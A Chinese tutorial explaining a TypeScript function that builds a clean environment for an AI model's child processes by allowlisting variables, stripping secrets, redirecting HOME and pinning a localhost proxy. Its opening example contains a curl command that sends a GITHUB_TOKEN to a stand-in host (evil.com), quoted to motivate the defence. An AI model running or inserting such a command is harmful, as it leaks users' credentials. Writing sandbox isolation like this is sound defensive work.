本篇讲解
src/env.ts------如何给子进程构建一个干净的环境变量表,剥离敏感凭证,重定向 HOME,配置代理。
1. 为什么需要环境隔离?
想象一个场景:你的 CI 系统在环境变量里存了 GITHUB_TOKEN,用于自动发布 npm 包。现在 AI 助手要帮你跑一条命令,它启动的子进程会原封不动地继承你当前的所有环境变量 ------也就是说,它可以直接 process.env.GITHUB_TOKEN 读到你的令牌。
如果这条命令里藏了 curl https://evil.com -d $GITHUB_TOKEN,你的凭证就泄露了。
这不是假设,而是真实的安全风险:不做环境隔离,子进程就能看到宿主机的一切。 env.ts 就是来解决这个问题的------它给子进程构造一个"最小够用"的干净环境,敏感凭证根本不会出现在里面。
2. buildSandboxEnv------核心函数
typescript
export function buildSandboxEnv(options: BuildSandboxEnvOptions): NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};
// 1. 白名单拷贝
for (const key of options.envAllowlist) {
if (STRIPPED_SECRET_ENV_KEYS.includes(key as (typeof STRIPPED_SECRET_ENV_KEYS)[number])) {
continue; // 白名单里有敏感变量?跳过!
}
const value = process.env[key];
if (value !== undefined) {
env[key] = value;
}
}
// 2. 确保 PATH 存在
// 为什么不也从白名单拷贝?因为 PATH 是子进程"找到命令"的前提------没有 PATH,
// ls、node、git 这些基本命令都跑不起来。所以 PATH 必须保留。
//
// 那 PATH 会不会泄露宿主机信息?确实有可能:
// /Users/feng.shen/.nvm/versions/node/v20/bin ← 暴露了用户名
// /opt/company-tools/bin ← 暴露了公司工具链
//
// 但实际风险很低:
// - PATH 只是目录列表,不包含任何密钥或凭证
// - 即使子进程知道用户名,没有 HOME 访问权限(见第 3 步重定向)也读不到敏感文件
// - Seatbelt 层会限制文件系统访问,进一步兜底
env.PATH = process.env.PATH ?? env.PATH ?? '';
// 3. HOME 重定向
env.HOME = options.executionRoot;
env.CODEBUDDY_REAL_HOME = options.realHome;
env.CODEBUDDY_SANDBOX = '1';
env.CODEBUDDY_SANDBOX_MODE = options.mode;
env.CODEBUDDY_SANDBOX_NETWORK = options.network ? '1' : '0';
// 4. 剥离敏感变量
for (const key of STRIPPED_SECRET_ENV_KEYS) {
delete env[key];
}
// 5. 代理配置
if (options.network) {
assertSeatbeltProxyUrl(options.proxyUrl, options.mode);
env.HTTP_PROXY = options.proxyUrl;
env.HTTPS_PROXY = options.proxyUrl;
env.http_proxy = options.proxyUrl;
env.https_proxy = options.proxyUrl;
env.NO_PROXY = '';
env.no_proxy = '';
} else {
// 断网:把代理变量清空
env.HTTP_PROXY = '';
env.HTTPS_PROXY = '';
env.http_proxy = '';
env.https_proxy = '';
env.NO_PROXY = '';
env.no_proxy = '';
}
// 6. 额外环境变量
for (const [key, value] of Object.entries(options.extraEnv ?? {})) {
if (value === undefined) {
delete env[key];
} else if (!STRIPPED_SECRET_ENV_KEYS.includes(key as ...)) {
env[key] = value;
}
}
// 7. npm 配置隔离
const sandboxNpmrcPath = path.join(options.executionRoot, '.sandbox-npmrc');
ensureEmptyFile(sandboxNpmrcPath);
env.NPM_CONFIG_USERCONFIG = sandboxNpmrcPath;
env.NPM_CONFIG_GLOBALCONFIG = sandboxNpmrcPath;
return env;
}
3. 逐步拆解
3.1 白名单拷贝
typescript
for (const key of options.envAllowlist) {
// 双重检查:即使白名单里有敏感变量也跳过
if (STRIPPED_SECRET_ENV_KEYS.includes(key as ...)) continue;
const value = process.env[key];
if (value !== undefined) env[key] = value;
}
只拷贝白名单里的变量(PATH、LANG、TERM 等),其他一概不传。
3.2 HOME 重定向
typescript
env.HOME = options.executionRoot;
env.CODEBUDDY_REAL_HOME = options.realHome;
为什么要把 HOME 改成 executionRoot?
很多工具会默认读写 ~/.cache、~/.config、~/.npm、~/.ssh。把 HOME 指到 executionRoot,可以减少工具默认去真实用户家目录读写的概率。
同时把真实 HOME 存到 CODEBUDDY_REAL_HOME,以防需要时可以找回。
3.3 代理配置
typescript
if (options.network) {
assertSeatbeltProxyUrl(options.proxyUrl, options.mode);
env.HTTP_PROXY = options.proxyUrl;
env.HTTPS_PROXY = options.proxyUrl;
// ...
} else {
env.HTTP_PROXY = '';
// ...
}
开网时 :设置 HTTP_PROXY 和 HTTPS_PROXY 指向本地代理(http://127.0.0.1:8787)。
断网时 :把代理变量清空(而不是不设置)。为什么不设置不行?因为如果宿主机已经设了 HTTP_PROXY,不覆盖的话子进程会继承它,绕过代理直接访问外网。
3.4 npm 配置隔离
typescript
const sandboxNpmrcPath = path.join(options.executionRoot, '.sandbox-npmrc');
ensureEmptyFile(sandboxNpmrcPath);
env.NPM_CONFIG_USERCONFIG = sandboxNpmrcPath;
env.NPM_CONFIG_GLOBALCONFIG = sandboxNpmrcPath;
npm 默认会读 ~/.npmrc,里面可能有 auth token。把 NPM_CONFIG_USERCONFIG 指向一个空文件,npm 就不会去读真实的 .npmrc 了。
4. assertSeatbeltProxyUrl------代理地址校验
typescript
export function assertSeatbeltProxyUrl(proxyUrl: string, mode: SandboxMode): void {
if (mode === 'danger-full-access') return; // 全开模式不限制
const parsed = new URL(proxyUrl);
const isLocalhost = parsed.hostname === '127.0.0.1' || parsed.hostname === 'localhost';
const port = parsed.port || '80';
if (parsed.protocol !== 'http:' || !isLocalhost || port !== '8787') {
throw new Error(
`Current Seatbelt profiles only allow http://127.0.0.1:8787 (or localhost:8787). Received: ${proxyUrl}`,
);
}
}
为什么只允许 127.0.0.1:8787?
因为 Seatbelt profile(read-only.sb / workspace-write.sb)里只放行了到 localhost:8787 的出站连接。如果代理地址不是这个,Seatbelt 会直接拒绝子进程的网络请求,导致代理根本不工作。
5. 环境变量生命周期
scss
宿主机环境
│
▼ buildSandboxEnv()
白名单拷贝 + HOME 重定向 + 凭证剥离 + 代理配置
│
▼ 传给 spawnAndWait({ env: sandboxEnv })
子进程拿到的环境
关键 :子进程看不到宿主机的 process.env,只能看到 buildSandboxEnv 产出的 env 对象。
6. 小结
| 要点 | 说明 |
|---|---|
| 白名单拷贝 | 只有白名单里的变量会传给子进程 |
| HOME 重定向 | 把 HOME 改成 executionRoot,减少工具默认访问真实 HOME |
| 凭证剥离 | SSH、AWS、GitHub 等敏感变量全部删除 |
| 代理配置 | 开网时设代理,断网时清空代理变量 |
| npm 隔离 | 指向空 .npmrc,防止读取真实 npm 配置 |
| 代理地址校验 | 只允许 http://127.0.0.1:8787(和 Seatbelt profile 一致) |
核心思想:子进程只能看到它"应该"看到的环境,不该看的一律不给。